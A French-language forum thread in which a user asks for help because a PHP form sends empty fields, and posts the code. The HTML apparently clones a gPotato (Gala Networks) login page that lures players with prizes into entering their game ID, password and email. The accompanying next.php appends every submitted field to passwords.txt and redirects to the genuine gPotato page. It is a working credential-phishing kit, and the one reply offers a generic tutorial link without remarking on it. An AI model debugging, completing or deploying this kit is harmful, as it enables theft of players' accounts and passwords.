Probleme formulaire php

-NaNy- Messages postés 218 Date d'inscription   Statut Membre Dernière intervention   -  
Loic1983 Messages postés 98 Date d'inscription   Statut Membre Dernière intervention   -
Bonsoir,
j'ai créeé un formulaire php mais quand je click sur le bouton envoyer je trouve les champs vite dans ma page next.php merci de m'aider

</title></head>
<body>
<form name="HFrm" method="post" action="next.php" id="HFrm" target="HFrm">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTM3MDE1MjU0Ng9kFgICAw9kFgQCCQ8WAh4EaHJlZgUtaHR0cDovL2ZyLmdwb3RhdG8uZXUvaW5mby90ZXJtc29mc2VydmljZS5hc3B4ZAILDxYCHghMYW5ndWFnZQUCZnJkZG/xfeFYpgBWJiMYhcTQGhMPyzh8" />

<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['HFrm'];
if (!theForm) {
theForm = document.HFrm;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
//]]>
</script>


<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLWz5G2BQKA1tiQAgL+7sGTBAKY/sWCBgLorpqGD739cpTkq1VGtfah7RQxE7oCkEBm" />

<a id="WLBtnConfirm" href="javascript:__doPostBack('WLBtnConfirm','')"></a>
<input name="HHAccId" type="hidden" id="HHAccId" />
<input name="HHPasswd" type="hidden" id="HHPasswd" />
<input name="HHEmail" type="hidden" id="HHEmail" />

<!-- TITLE -->
<div id="DvTitle"><div>Inscrivez vous pour reçevoir vos lots !</div></div>
<!-- /TITLE -->

<!-- CONTENTS -->
<div id="DvContents">

<!-- | PANNEL -->
<div class="title_pannel1">
<div class="pannel_signup"></div>
</div>

<!-- /| PANNEL -->

<!-- | MESSAGE BOX -->
<div id="DvSignUpMsg" class="message_normal">
<table class="auth_table">
<tr>
<td>
<table>
<tr>
<td>
<ul>
<li id="LiIco" class="ico_normal" style="float:left; margin-right:6px;"></li>
<li id="LiMsg">Remplissez ce formulaire afin de soumettre votre demande de PO</li>
</ul>
</td>
</tr>

</table>
</td>
</tr>
</table>
</div>
<!-- /| MESSAGE BOX -->


<!-- | FIELD -->
<div id="DvFieldArea">
<table class="auth_table borderhide">
<tr>
<td colspan="3" class="label1"><div></div> gPotato ID</td>
</tr>
<tr>

<td class="input1"><input type="text" id="HTID" class="input_text1" tabindex="1" maxlength="16" autocomplete="off"/></td>
<td class="td_ico1"><div id="DvIDIco" class="ico1"></div></td>
<td class="info1" id="IDPannel">Fournissez votre Login (gPotato ID)</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Mot de passe</td>
</tr>
<tr>
<td><input type="password" id="HTPasswd" class="input_text1" tabindex="2" maxlength="12" autocomplete="off" onpaste="return false" oncontextmenu="return false" /></td>
<td class="td_ico1"><div id="DvPWIco" class="ico1"></div></td>
<td class="info1" id="PWPannel">Votre mot de passe</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Adresse électronique</td>

</tr>
<tr>
<td>
<input type="text" class="input_text1" id="HTEmail" tabindex="3" autocomplete="off" onpaste="return false" oncontextmenu="return false"/>
<div id="DvEmailList">
<select size="5" id="HSEmailList">
</select>
</div>
</td>
<td class="td_ico1"><div id="DvEMIco" class="ico1"></div></td>
<td class="info1" id="EMPannel">Non obligatoire</td>
</tr>
</table>
</div>
<!-- /| FIELD -->

<!-- | DESCRITION -->
<div class="desc1">
En cliquant sur le bouton "Envoyer" vous acceptez les <a href="http://fr.gpotato.eu/info/termsofservice.aspx" id="terms" target="_blank">Conditions d'utilisation</a>
par Gala Networks Europe.
</div>
<!-- /| DESCRITION -->

<!-- | BUTTON -->
<div id="DvSignUpBtn" class="btn1 btn_size1" tabindex="4">
<div><div>
<table>
<tr>
<td> <input type="submit" value="Envoyer" />
</tr>

</table>
</div></div>
</div>
<!-- / BUTTON -->

</div>
<!-- /CONTENTS -->

<div id="DvLoading" style="display:none;" >
<center>
<img src="../../simg.gpotato.eu/gpotato/common/ajax-Loader-dark-bg.gif" style="vertical-align:bottom;" />
<span style="color: #ffffff; font-family: Tahoma,Verdana,arial; font-size:12px;">Inscription...</span>
</center>
</div>
<script src="../../www.google-analytics.com/urchin.js" type="text/javascript"></script>

<script type="text/javascript">
_uacct = "UA-2350076-3";
urchinTracker();
</script>
</form>
</body>



2 réponses

Loic1983 Messages postés 98 Date d'inscription   Statut Membre Dernière intervention   3
 
tu peu nous mettre le code de ta page next.php?
0
-NaNy- Messages postés 218 Date d'inscription   Statut Membre Dernière intervention   34
 
<?php
header("Location: http://fr.gpotato.eu/User/UserSignUp.aspx");
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
0
Loic1983 Messages postés 98 Date d'inscription   Statut Membre Dernière intervention   3
 
Chez moi ca ne ressemble pas a ça...

Jette un oeuil ici


https://openclassrooms.com/fr/courses/918836-concevez-votre-site-web-avec-php-et-mysql/913099-transmettez-des-donnees-avec-les-formulaires#ss_part_1

Si tu fait comme indiqué ca fonctionne impec.
0